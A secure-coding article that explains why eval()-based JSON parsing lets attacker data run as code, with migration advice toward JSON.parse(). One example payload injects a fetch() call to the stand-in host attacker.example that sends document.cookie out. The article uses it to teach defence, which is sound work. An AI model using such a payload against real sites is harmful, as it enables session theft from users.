Need help with your JSON?

Try our JSON Formatter tool to automatically identify and fix syntax errors in your JSON. JSON Formatter tool

Security Risks of eval()-Based JSON Parsing

Using eval() to parse JSON is a security bug, not a shortcut. The common legacy pattern eval("(" + text + ")") does not parse JSON safely. It executes the input as JavaScript, which means attacker-controlled data can become attacker-controlled code.

For a search visitor landing here with one question, the answer is simple: if the input is supposed to be JSON, use JSON.parse() or a framework helper built on top of it, such as response.json(). Do not use eval(), new Function(), or other string-to-code tricks to handle JSON.

Why eval() Is the Wrong Primitive

eval() takes a string and runs it as JavaScript code. A JSON parser should do one thing only: read data. eval() does something much broader and much more dangerous.

const codeString = "console.log('Hello from eval')";
eval(codeString); // Executes the string as code, not as data

That distinction matters because JavaScript object literal syntax is broader than JSON. eval() accepts things JSON should reject, including appended statements, comments, getters, function calls, and other JavaScript-only syntax. That creates a direct path from malformed input to code execution.

It also conflicts with modern defense-in-depth practices. A strict Content Security Policy typically blocks eval() unless you opt into 'unsafe-eval', which weakens the policy for the entire application.

What an Attacker Gets From Eval-Based Parsing

When a string is executed instead of parsed, invalid input is no longer just a parsing failure. It becomes a chance to run code in the same context as your application.

This allows attackers to perform actions like:

  • Stealing browser data such as cookies, tokens, local storage values, or form contents.
  • Sending authenticated requests as the current user because the malicious code runs inside your application.
  • Changing page behavior, redirecting users, or injecting more malicious script into the DOM.
  • Reading server-side secrets, files, or internal network resources in Node.js, depending on where the evaluated string runs and which objects are in scope.
  • Forcing you to relax CSP with 'unsafe-eval', which expands the blast radius of XSS bugs.

Realistic Exploit Examples

Legacy code often wraps the input in parentheses before calling eval(). That does not make it safe. It still allows non-JSON JavaScript to run.

Example 1: Statement Injection Outside the Object

const attackerControlled = `
{"ok": true}); fetch("https://attacker.example/collect?c=" + encodeURIComponent(document.cookie)); ({ "ignored": true }
`;

// Vulnerable:
eval("(" + attackerControlled + ")");

// Safe alternative:
JSON.parse(attackerControlled); // Throws SyntaxError

The payload closes the first object, runs a second statement, then opens another expression so the overall eval() call still succeeds. A real parser rejects this immediately because it is not valid JSON.

Example 2: JavaScript Features Hidden in an Object Literal

const notActuallyJson = `
{
  "user": "alice",
  run: (() => {
    console.log("Executed while being 'parsed'");
    return "done";
  })()
}
`;

// Vulnerable:
const parsed = eval("(" + notActuallyJson + ")");
console.log(parsed.run); // "done"

// Safe alternative:
JSON.parse(notActuallyJson); // Throws SyntaxError

This is the deeper problem: eval() is not a strict JSON parser at all. It accepts executable JavaScript syntax inside an object literal, so code can run during the parse step itself.

Historical Note: JSON Hijacking Was Real, But It Is Not the Main Risk Today

Older articles often mention JSON hijacking, where browsers could be tricked into executing JSON responses as script. That class of issue helped push the ecosystem away from treating JSON as executable JavaScript.

In modern applications, the more immediate problem is simpler: if you use eval() for parsing, you are voluntarily executing attacker-controlled text in your browser or server process. That is the risk to prioritize during code review and remediation.

The Safe Replacement: JSON.parse()

The correct replacement in browsers and Node.js is JSON.parse(). It parses JSON text as data only. If the string is not valid JSON, it throws a SyntaxError instead of executing anything.

const text = '{"id":"42","name":"Alice"}';

try {
  const value = JSON.parse(text);

  if (!value || typeof value !== "object" || typeof value.id !== "string") {
    throw new Error("Unexpected payload shape");
  }

  console.log(value.name); // Alice
} catch (error) {
  console.error("Invalid or unexpected JSON:", error);
}

Safer parsing is only step one. You should still validate the shape of the resulting data before using it in business logic, rendering it into the page, or merging it into application state.

Practical Migration Advice

  • Replace patterns such as eval(text) and eval("(" + text + ")") with JSON.parse(text).
  • If the upstream system sends JavaScript-like data with single quotes, comments, or trailing commas, fix the serializer at the source instead of loosening your parser.
  • Review HTTP helpers too. Prefer response.json() or your framework's built-in JSON handling so raw string parsing is minimized.
  • Search for related string-execution APIs like new Function() and string-based setTimeout() or setInterval() if you are auditing an older codebase.
  • After removing eval(), review your Content Security Policy. Many teams can then drop 'unsafe-eval', which is a meaningful hardening improvement.

Bottom Line

Eval-based JSON parsing is dangerous because it turns untrusted input into executable code. The vulnerability is not theoretical, and the fix is straightforward: parse JSON with JSON.parse(), validate the resulting data, and remove any dependency on 'unsafe-eval' where possible.

If you find this pattern in a legacy codebase, treat it as a security remediation task, not just a cleanup item. It affects correctness, exploitability, and the overall security posture of the application.

Need help with your JSON?

Try our JSON Formatter tool to automatically identify and fix syntax errors in your JSON. JSON Formatter tool